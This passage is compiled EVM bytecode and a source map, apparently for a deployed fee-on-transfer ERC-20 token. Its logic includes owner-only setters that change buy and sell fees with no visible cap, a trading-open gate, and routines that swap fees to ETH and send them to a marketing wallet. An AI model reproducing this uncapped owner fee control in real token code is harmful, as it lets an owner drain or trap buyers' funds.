26576001600160a01b0384166000908152600260209081526040808320338452909152902054610601908390611682565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146106635760405162461bcd60e51b815260040161065a90611695565b60405180910390fd5b600f94909455601092909255601155601255601355565b6000546001600160a01b031633146106a45760405162461bcd60e51b815260040161065a90611695565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106f05760405162461bcd60e51b815260040161065a90611695565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107645760405162461bcd60e51b815260040161065a90611695565b60005b8181101561080e576107fc6107a36005858585818110610789576107896116c0565b905060200201602081019061079e91906114f0565b610d7a565b6107ae9060016116d6565b6107bf90662386f26fc100006116e9565b6107d09066f8b0a10e4700006116d6565b8484848181106107e2576107e26116c0565b90506020020160208101906107f791906114f0565b610ddf565b8061080681611700565b915050610767565b50504360155550565b6000546001600160a01b031633146108415760405162461bcd60e51b815260040161065a90611695565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6060600580546104ff90611632565b6001600160a01b03811630146109ad576003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa1580156108de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109029190611719565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af115801561094d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109719190611732565b506003546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156109ab573d6000803e3d6000fd5b505b50565b600061058f338484610b22565b6000546001600160a01b031633146109e75760405162461bcd60e51b815260040161065a90611695565b6014805460ff19811660ff90911615179055565b6000546001600160a01b03163314610a255760405162461bcd60e51b815260040161065a90611695565b6001600160a01b038116610a665760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161065a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610b7e5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b604482015260640161065a565b600b5460ff1615610b9b57610b94848484610fe1565b5050505050565b6001600160a01b0383166000908152600a602052604081205460ff168015610bc65750600b5460ff16155b8015610beb57506001600160a01b03851660009081526007602052604090205460ff16155b8015610c1057506001600160a01b03841660009081526007602052604090205460ff16155b8015610c1f5750601354600c54115b15610c6057306000908152600160205260409020548390811115610c4f5750306000908152600160205260409020545b8015610c5e57610c5e81611096565b505b6001600160a01b03851660009081526007602052604090205460ff16158015610ca257506001600160a01b03841660009081526007602052604090205460ff16155b8015610cb15750600b5460ff16155b15610d6e57600060155411610cc557600080fd5b506001600160a01b0384166000908152600a602052604090205460019060ff168015610cff57506009546001600160a01b03858116911614155b8015610d2457506001600160a01b03841660009081526007602052604090205460ff16155b15610d3f57600c8054906000610d3983611700565b91905055505b60145460ff168015610d5057508183145b15610d6e57610d6161271084611765565b610d6b9084611682565b92505b610b948585858461122c565b600082424484604051602001610db593929190928352602083019190915260601b6bffffffffffffffffffffffff1916604082015260540190565b6040516020818303038152906040528051906020012060001c610dd89190611779565b9392505050565b600b805460ff19166001179055600954604080516315ab88c960e31b815290516000926001600160a01b03169163ad5c46489160048083019260209291908290030181865afa158015610e36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5a919061178d565b60408051600280825260608201835292935060009290916020830190803683370190505090508181600081518110610e9457610e946116c0565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610ec857610ec86116c0565b6001600160a01b0392831660209182029290920101526040516370a0823160e01b81523060048201526000918416906370a0823190602401602060405180830381865afa158015610f1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f419190611719565b9050808511610f505784610f52565b805b945084600003610f6457505050610fd3565b600954604051635c11d79560e01b81526001600160a01b0390911690635c11d79590610f9d90889060009087908a9042906004016117aa565b600060405180830381600087803b158015610fb757600080fd5b505af1158015610fcb573d6000803e3d6000fd5b505050505050505b5050600b805460ff19169055565b6001600160a01b03831660009081526001602052604081208054839190839061100b908490611682565b90915550506001600160a01b038316600090815260016020526040812080548492906110389084906116d6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161108491815260200190565b60405180910390a35060019392505050565b600b805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110d8576110d86116c0565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611131573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611155919061178d565b81600181518110611168576111686116c0565b6001600160a01b03928316602091820292909201015260095460405163791ac94760e01b815291169063791ac947906111ae9085906000908690309042906004016117aa565b600060405180830381600087803b1580156111c857600080fd5b505af19250505080156111d9575060015b5047801561121d576003546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561121b573d6000803e3d6000fd5b505b5050600b805460ff1916905550565b6001600160a01b038416600090815260016020526040902054611250908390611682565b6001600160a01b0385166000908152600160205260408120919091558115611391576001600160a01b0384166000908152600a602052604081205460ff16156112b157601254600c54116112a657600e546112aa565b6010545b90506112ec565b6001600160a01b0386166000908152600a602052604090205460ff16156112ec57601154600c54116112e557600d546112e9565b600f545b90505b600060646112fa83876116e9565b6113049190611765565b9050801561138e5761131681846116d6565b306000908152600160205260409020549093506113349082906116d6565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113859085815260200190565b60405180910390a35b50505b61139b8184611682565b6001600160a01b0385166000908152600160205260409020546113be91906116d6565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114088487611682565b60405190815260200160405180910390a35050505050565b600060208083528351808285015260005b8181101561144d57858101830151858201604001528201611431565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109ad57600080fd5b6000806040838503121561149657600080fd5b82356114a18161146e565b946020939093013593505050565b6000806000606084860312156114c457600080fd5b83356114cf8161146e565b925060208401356114df8161146e565b929592945050506040919091013590565b60006020828403121561150257600080fd5b8135610dd88161146e565b600080600080600060a0868803121561152557600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b6000806020838503121561155b57600080fd5b823567ffffffffffffffff8082111561157357600080fd5b818501915085601f83011261158757600080fd5b81358181111561159657600080fd5b8660208260051b85010111156115ab57600080fd5b60209290920196919550909350505050565b80151581146109ad57600080fd5b600080604083850312156115de57600080fd5b82356115e98161146e565b915060208301356115f9816115bd565b809150509250929050565b6000806040838503121561161757600080fd5b82356116228161146e565b915060208301356115f98161146e565b600181811c9082168061164657607f821691505b60208210810361166657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156105935761059361166c565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b808201808211156105935761059361166c565b80820281158282048414176105935761059361166c565b6000600182016117125761171261166c565b5060010190565b60006020828403121561172b57600080fd5b5051919050565b60006020828403121561174457600080fd5b8151610dd8816115bd565b634e487b7160e01b600052601260045260246000fd5b6000826117745761177461174f565b500490565b6000826117885761178861174f565b500690565b60006020828403121561179f57600080fd5b8151610dd88161146e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117fa5784516001600160a01b0316835293830193918301916001016117d5565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220c9405ea488d999f2169ba18d42da4da5d906601915a6ae53ef742d8283055e4b64736f6c63430008110033
Deployed Bytecode Sourcemap
3121:9180:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5200:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5963:159;;;;;;;;;;-1:-1:-1;5963:159:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5963:159:0;1023:187:1;5404:100:0;;;;;;;;;;-1:-1:-1;5484:12:0;;5404:100;;;1361:25:1;;;1349:2;1334:18;5404:100:0;1215:177:1;6130:336:0;;;;;;;;;;-1:-1:-1;6130:336:0;;;;;:::i;:::-;;:::i;6926:26::-;;;;;;;;;;;;;;;;5302:94;;;;;;;;;;-1:-1:-1;5379:9:0;;5302:94;;5379:9;;;;2000:36:1;;1988:2;1973:18;5302:94:0;1858:184:1;3414:49:0;;;;;;;;;;-1:-1:-1;3414:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3558:44;;;;;;;;;;-1:-1:-1;3558:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7244:406;;;;;;;;;;-1:-1:-1;7244:406:0;;;;;:::i;:::-;;:::i;:::-;;3688:27;;;;;;;;;;-1:-1:-1;3688:27:0;;;;;;;-1:-1:-1;;;;;3688:27:0;;;;;;-1:-1:-1;;;;;2922:32:1;;;2904:51;;2892:2;2877:18;3688:27:0;2758:203:1;10157:30:0;;;;;;;;;;;;;;;;3513:36;;;;;;;;;;-1:-1:-1;3513:36:0;;;;-1:-1:-1;;;;;3513:36:0;;;4976:110;;;;;;;;;;-1:-1:-1;4976:110:0;;;;;:::i;:::-;;:::i;5512:119::-;;;;;;;;;;-1:-1:-1;5512:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5605:18:0;5578:7;5605:18;;;:9;:18;;;;;;;5512:119;2744:148;;;;;;;;;;;;;:::i;10194:237::-;;;;;;;;;;-1:-1:-1;10194:237:0;;;;;:::i;:::-;;:::i;2547:79::-;;;;;;;;;;-1:-1:-1;2585:7:0;2612:6;-1:-1:-1;;;;;2612:6:0;2547:79;;12140:121;;;;;;;;;;-1:-1:-1;12140:121:0;;;;;:::i;:::-;;:::i;5094:98::-;;;;;;;;;;;;;:::i;11306:262::-;;;;;;;;;;-1:-1:-1;11306:262:0;;;;;:::i;:::-;;:::i;5639:165::-;;;;;;;;;;-1:-1:-1;5639:165:0;;;;;:::i;:::-;;:::i;7696:87::-;;;;;;;;;;;;;:::i;7658:31::-;;;;;;;;;;-1:-1:-1;7658:31:0;;;;;;;;5812:143;;;;;;;;;;-1:-1:-1;5812:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5920:18:0;;;5893:7;5920:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5812:143;2900:214;;;;;;;;;;-1:-1:-1;2900:214:0;;;;;:::i;:::-;;:::i;5200:94::-;5248:13;5281:5;5274:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5200:94;:::o;5963:159::-;6038:4;6055:37;6064:10;6076:7;6085:6;6055:8;:37::i;:::-;-1:-1:-1;6110:4:0;5963:159;;;;;:::o;6130:336::-;6228:4;6245:36;6255:6;6263:9;6274:6;6245:9;:36::i;:::-;-1:-1:-1;;;;;6296:19:0;;3677:1;6296:19;;;:11;:19;;;;;;;;6316:10;6296:31;;;;;;;;-1:-1:-1;;6296:38:0;6292:145;;-1:-1:-1;;;;;6385:19:0;;;;;;:11;:19;;;;;;;;6405:10;6385:31;;;;;;;;:40;;6419:6;;6385:40;:::i;:::-;-1:-1:-1;;;;;6351:19:0;;;;;;:11;:19;;;;;;;;6371:10;6351:31;;;;;;;:74;6292:145;-1:-1:-1;6454:4:0;6130:336;;;;;:::o;7244:406::-;2674:6;;-1:-1:-1;;;;;2674:6:0;2684:10;2674:20;2666:50;;;;-1:-1:-1;;;2666:50:0;;;;;;;:::i;:::-;;;;;;;;;7451:12:::1;:21:::0;;;;7483:13:::1;:23:::0;;;;7517:15:::1;:30:::0;7558:16:::1;:32:::0;7601:18:::1;:41:::0;7244:406::o;4976:110::-;2674:6;;-1:-1:-1;;;;;2674:6:0;2684:10;2674:20;2666:50;;;;-1:-1:-1;;;2666:50:0;;;;;;;:::i;:::-;5057:11:::1;:21:::0;;-1:-1:-1;;;;;;5057:21:0::1;-1:-1:-1::0;;;;;5057:21:0;;;::::1;::::0;;;::::1;::::0;;4976:110::o;2744:148::-;2674:6;;-1:-1:-1;;;;;2674:6:0;2684:10;2674:20;2666:50;;;;-1:-1:-1;;;2666:50:0;;;;;;;:::i;:::-;2851:1:::1;2835:6:::0;;2814:40:::1;::::0;-1:-1:-1;;;;;2835:6:0;;::::1;::::0;2814:40:::1;::::0;2851:1;;2814:40:::1;2882:1;2865:19:::0;;-1:-1:-1;;;;;;2865:19:0::1;::::0;;2744:148::o;10194:237::-;2674:6;;-1:-1:-1;;;;;2674:6:0;2684:10;2674:20;2666:50;;;;-1:-1:-1;;;2666:50:0;;;;;;;:::i;:::-;10271:6:::1;10267:116;10280:13:::0;;::::1;10267:116;;;10313:58;10325:17;10332:1;10334:4;;10339:1;10334:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;10325:6;:17::i;:::-;:19;::::0;10343:1:::1;10325:19;:::i;:::-;10324:28;::::0;10346:6:::1;10324:28;:::i;:::-;:37;::::0;10353:8:::1;10324:37;:::i;:::-;10363:4;;10368:1;10363:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;10313:9;:58::i;:::-;10294:3:::0;::::1;::::0;::::1;:::i;:::-;;;;10267:116;;;-1:-1:-1::0;;10411:12:0::1;10393:15;:30:::0;-1:-1:-1;10194:237:0:o;12140:121::-;2674:6;;-1:-1:-1;;;;;2674:6:0;2684:10;2674:20;2666:50;;;;-1:-1:-1;;;2666:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12219:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:34;;-1:-1:-1;;12219:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12140:121::o;5094:98::-;5144:13;5177:7;5170:14;;;;;:::i;11306:262::-;-1:-1:-1;;;;;11366:23:0;;11384:4;11366:23;11363:198;;11429:11;;11442:39;;-1:-1:-1;;;11442:39:0;;11475:4;11442:39;;;2904:51:1;-1:-1:-1;;;;;11405:23:0;;;;;;11429:11;;;11405:23;;11442:24;;2877:18:1;;11442:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11405:77;;-1:-1:-1;;;;;;11405:77:0;;;;;;;-1:-1:-1;;;;;6671:32:1;;;11405:77:0;;;6653:51:1;6720:18;;;6713:34;6626:18;;11405:77:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;11505:11:0;;11497:52;;-1:-1:-1;;;;;11505:11:0;;;;11527:21;11497:52;;;;;11505:11;11497:52;11505:11;11497:52;11527:21;11505:11;11497:52;;;;;;;;;;;;;;;;;;;;;11363:198;11306:262;:::o;5639:165::-;5717:4;5734:40;5744:10;5756:9;5767:6;5734:9;:40::i;7696:87::-;2674:6;;-1:-1:-1;;;;;2674:6:0;2684:10;2674:20;2666:50;;;;-1:-1:-1;;;2666:50:0;;;;;;;:::i;:::-;7763:12:::1;::::0;;-1:-1:-1;;7747:28:0;::::1;7763:12;::::0;;::::1;7762:13;7747:28;::::0;;7696:87::o;2900:214::-;2674:6;;-1:-1:-1;;;;;2674:6:0;2684:10;2674:20;2666:50;;;;-1:-1:-1;;;2666:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2989:22:0;::::1;2981:43;;;::::0;-1:-1:-1;;;2981:43:0;;7210:2:1;2981:43:0::1;::::0;::::1;7192:21:1::0;7249:1;7229:18;;;7222:29;-1:-1:-1;;;7267:18:1;;;7260:38;7315:18;;2981:43:0::1;7008:331:1::0;2981:43:0::1;3061:6;::::0;;3040:38:::1;::::0;-1:-1:-1;;;;;3040:38:0;;::::1;::::0;3061:6;::::1;::::0;3040:38:::1;::::0;::::1;3089:6;:17:::0;;-1:-1:-1;;;;;;3089:17:0::1;-1:-1:-1::0;;;;;3089:17:0;;;::::1;::::0;;;::::1;::::0;;2900:214::o;6474:177::-;-1:-1:-1;;;;;6559:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6611:32;;1361:25:1;;;6611:32:0;;1334:18:1;6611:32:0;;;;;;;6474:177;;;:::o;7791:1319::-;-1:-1:-1;;;;;5605:18:0;;7905:15;5605:18;;;:9;:18;;;;;;7957:17;;;;7949:46;;;;-1:-1:-1;;;7949:46:0;;7546:2:1;7949:46:0;;;7528:21:1;7585:2;7565:18;;;7558:30;-1:-1:-1;;;7604:18:1;;;7597:46;7660:18;;7949:46:0;7344:340:1;7949:46:0;8012:6;;;;8008:91;;;8034:32;8049:4;8055:2;8059:6;8034:14;:32::i;:::-;;8081:7;7791:1319;;;:::o;8008:91::-;-1:-1:-1;;;;;8140:16:0;;8111:12;8140:16;;;:12;:16;;;;;;;;:27;;;;-1:-1:-1;8161:6:0;;;;8160:7;8140:27;:55;;;;-1:-1:-1;;;;;;8172:23:0;;;;;;:17;:23;;;;;;;;8171:24;8140:55;:81;;;;-1:-1:-1;;;;;;8200:21:0;;;;;;:17;:21;;;;;;;;8199:22;8140:81;:115;;;;;8237:18;;8225:9;;:30;8140:115;8136:413;;;8355:4;5578:7;5605:18;;;:9;:18;;;;;;8296:6;;8321:13;:40;8317:120;;;-1:-1:-1;8415:4:0;8397:24;;;;:9;:24;;;;;;8317:120;8455:17;;8451:87;;8492:30;8508:13;8492:15;:30::i;:::-;8257:292;8136:413;-1:-1:-1;;;;;8566:23:0;;;;;;:17;:23;;;;;;;;8565:24;:50;;;;-1:-1:-1;;;;;;8594:21:0;;;;;;:17;:21;;;;;;;;8593:22;8565:50;:61;;;;-1:-1:-1;8620:6:0;;;;8619:7;8565:61;8561:488;;;8669:1;8651:15;;:19;8643:28;;;;;;-1:-1:-1;;;;;;8758:18:0;;;;;;:12;:18;;;;;;8696:4;;8758:18;;:51;;;;-1:-1:-1;8794:14:0;;-1:-1:-1;;;;;8780:29:0;;;8794:14;;8780:29;;8758:51;:77;;;;-1:-1:-1;;;;;;8814:21:0;;;;;;:17;:21;;;;;;;;8813:22;8758:77;8754:129;;;8856:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8754:129;8932:12;;;;:33;;;;;8958:7;8948:6;:17;8932:33;8928:108;;;9005:14;9014:5;9005:6;:14;:::i;:::-;8995:25;;:6;:25;:::i;:::-;8986:34;;8928:108;9061:41;9076:4;9082:2;9086:6;9094:7;9061:14;:41::i;11118:180::-;11182:4;11284:6;11238:15;11254:16;11273:5;11221:58;;;;;;;;;8131:19:1;;;8175:2;8166:12;;8159:28;;;;8225:2;8221:15;-1:-1:-1;;8217:53:1;8212:2;8203:12;;8196:75;8296:2;8287:12;;7946:359;11221:58:0;;;;;;;;;;;;;11211:69;;;;;;11206:75;;:84;;;;:::i;:::-;11199:91;11118:180;-1:-1:-1;;;11118:180:0:o;10439:671::-;3756:6;:13;;-1:-1:-1;;3756:13:0;3765:4;3756:13;;;10536:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;10536:21:0;;;;3756:6;;-1:-1:-1;;;;;10536:14:0::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10592:16;::::0;;10606:1:::1;10592:16:::0;;;;;::::1;::::0;;10521:36;;-1:-1:-1;10568:21:0::1;::::0;10592:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10592:16:0::1;10568:40;;10637:4;10619;10624:1;10619:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;10619:23:0::1;;;-1:-1:-1::0;;;;;10619:23:0::1;;;::::0;::::1;10671:4;10653;10658:1;10653:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10653:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;10702:37:::1;::::0;-1:-1:-1;;;10702:37:0;;10733:4:::1;10702:37;::::0;::::1;2904:51:1::0;10687:12:0::1;::::0;10702:22;::::1;::::0;::::1;::::0;2877:18:1;;10702:37:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10687:52;;10778:4;10764:11;:18;:39;;10792:11;10764:39;;;10785:4;10764:39;10750:53;;10818:11;10833:1;10818:16:::0;10814:29:::1;;10836:7;;;;;10814:29;10879:14;::::0;:223:::1;::::0;-1:-1:-1;;;10879:223:0;;-1:-1:-1;;;;;10879:14:0;;::::1;::::0;:68:::1;::::0;:223:::1;::::0;10962:11;;10879:14:::1;::::0;11031:4;;11058:2;;11076:15:::1;::::0;10879:223:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10510:600;;;3780:1;-1:-1:-1::0;;3792:6:0;:14;;-1:-1:-1;;3792:14:0;;;10439:671::o;6659:259::-;-1:-1:-1;;;;;6769:17:0;;6752:4;6769:17;;;:9;:17;;;;;:27;;6790:6;;6769:17;6752:4;;6769:27;;6790:6;;6769:27;:::i;:::-;;;;-1:-1:-1;;;;;;;6807:20:0;;;;;;:9;:20;;;;;:30;;6831:6;;6807:20;:30;;6831:6;;6807:30;:::i;:::-;;;;;;;;6870:9;-1:-1:-1;;;;;6853:35:0;6862:6;-1:-1:-1;;;;;6853:35:0;;6881:6;6853:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;6853:35:0;;;;;;;;-1:-1:-1;6906:4:0;6659:259;;;;;:::o;11576:556::-;3756:6;:13;;-1:-1:-1;;3756:13:0;3765:4;3756:13;;;11677:16:::1;::::0;;11691:1:::1;11677:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11677:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11677:16:0::1;11653:40;;11722:4;11704;11709:1;11704:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11704:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11748:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;11748:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;11704:7;;11748:21;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11738:4;11743:1;11738:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11738:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;11784:14:::1;::::0;:195:::1;::::0;-1:-1:-1;;;11784:195:0;;:14;::::1;::::0;:65:::1;::::0;:195:::1;::::0;11864:11;;11784:14:::1;::::0;11906:4;;11933::::1;::::0;11953:15:::1;::::0;11784:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;11780:211:::0;12018:21:::1;12054:8:::0;;12050:75:::1;;12086:11;::::0;12078:35:::1;::::0;-1:-1:-1;;;;;12086:11:0;;::::1;::::0;12078:35;::::1;;;::::0;12108:4;;12086:11:::1;12078:35:::0;12086:11;12078:35;12108:4;12086:11;12078:35;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12050:75;-1:-1:-1::0;;3792:6:0;:14;;-1:-1:-1;;3792:14:0;;;-1:-1:-1;11576:556:0:o;9118:1031::-;-1:-1:-1;;;;;9290:17:0;;;;;;:9;:17;;;;;;:27;;9310:7;;9290:27;:::i;:::-;-1:-1:-1;;;;;9270:17:0;;;;;;:9;:17;;;;;:47;;;;9358:638;;;;-1:-1:-1;;;;;9419:23:0;;9386:14;9419:23;;;:12;:23;;;;;;;;9415:270;;;9484:16;;9472:9;;:28;:62;;9519:15;;9472:62;;;9503:13;;9472:62;9463:71;;9415:270;;;-1:-1:-1;;;;;9560:20:0;;;;;;:12;:20;;;;;;;;9556:129;;;9622:15;;9610:9;;:27;:59;;9655:14;;9610:59;;;9640:12;;9610:59;9601:68;;9556:129;9699:18;9739:3;9720:16;9730:6;9720:7;:16;:::i;:::-;:22;;;;:::i;:::-;9699:43;-1:-1:-1;9761:14:0;;9757:228;;9796:23;9809:10;9796:23;;:::i;:::-;9883:4;9865:24;;;;:9;:24;;;;;;9796:23;;-1:-1:-1;9865:37:0;;9892:10;;9865:37;:::i;:::-;9856:4;9838:24;;;;:9;:24;;;;;;;:64;;;;9926:43;;-1:-1:-1;;;;;9926:43:0;;;;;;;9958:10;1361:25:1;;1349:2;1334:18;;1215:177;9926:43:0;;;;;;;;9757:228;9371:625;;9358:638;10055:19;10065:9;10055:7;:19;:::i;:::-;-1:-1:-1;;;;;10031:20:0;;;;;;:9;:20;;;;;;:44;;;;:::i;:::-;-1:-1:-1;;;;;10008:20:0;;;;;;;:9;:20;;;;;:67;;;;10091:48;;;10119:19;10129:9;10119:7;:19;:::i;:::-;10091:48;;1361:25:1;;;1349:2;1334:18;10091:48:0;;;;;;;9259:890;9118:1031;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2299:454::-;2394:6;2402;2410;2418;2426;2479:3;2467:9;2458:7;2454:23;2450:33;2447:53;;;2496:1;2493;2486:12;2447:53;-1:-1:-1;;2519:23:1;;;2589:2;2574:18;;2561:32;;-1:-1:-1;2640:2:1;2625:18;;2612:32;;2691:2;2676:18;;2663:32;;-1:-1:-1;2742:3:1;2727:19;2714:33;;-1:-1:-1;2299:454:1;-1:-1:-1;2299:454:1:o;3196:615::-;3282:6;3290;3343:2;3331:9;3322:7;3318:23;3314:32;3311:52;;;3359:1;3356;3349:12;3311:52;3399:9;3386:23;3428:18;3469:2;3461:6;3458:14;3455:34;;;3485:1;3482;3475:12;3455:34;3523:6;3512:9;3508:22;3498:32;;3568:7;3561:4;3557:2;3553:13;3549:27;3539:55;;3590:1;3587;3580:12;3539:55;3630:2;3617:16;3656:2;3648:6;3645:14;3642:34;;;3672:1;3669;3662:12;3642:34;3725:7;3720:2;3710:6;3707:1;3703:14;3699:2;3695:23;3691:32;3688:45;3685:65;;;3746:1;3743;3736:12;3685:65;3777:2;3769:11;;;;;3799:6;;-1:-1:-1;3196:615:1;;-1:-1:-1;;;;3196:615:1:o;3816:118::-;3902:5;3895:13;3888:21;3881:5;3878:32;3868:60;;3924:1;3921;3914:12;3939:382;4004:6;4012;4065:2;4053:9;4044:7;4040:23;4036:32;4033:52;;;4081:1;4078;4071:12;4033:52;4120:9;4107:23;4139:31;4164:5;4139:31;:::i;:::-;4189:5;-1:-1:-1;4246:2:1;4231:18;;4218:32;4259:30;4218:32;4259:30;:::i;:::-;4308:7;4298:17;;;3939:382;;;;;:::o;4326:388::-;4394:6;4402;4455:2;4443:9;4434:7;4430:23;4426:32;4423:52;;;4471:1;4468;4461:12;4423:52;4510:9;4497:23;4529:31;4554:5;4529:31;:::i;:::-;4579:5;-1:-1:-1;4636:2:1;4621:18;;4608:32;4649:33;4608:32;4649:33;:::i;4719:380::-;4798:1;4794:12;;;;4841;;;4862:61;;4916:4;4908:6;4904:17;4894:27;;4862:61;4969:2;4961:6;4958:14;4938:18;4935:38;4932:161;;5015:10;5010:3;5006:20;5003:1;4996:31;5050:4;5047:1;5040:15;5078:4;5075:1;5068:15;4932:161;;4719:380;;;:::o;5104:127::-;5165:10;5160:3;5156:20;5153:1;5146:31;5196:4;5193:1;5186:15;5220:4;5217:1;5210:15;5236:128;5303:9;;;5324:11;;;5321:37;;;5338:18;;:::i;5369:341::-;5571:2;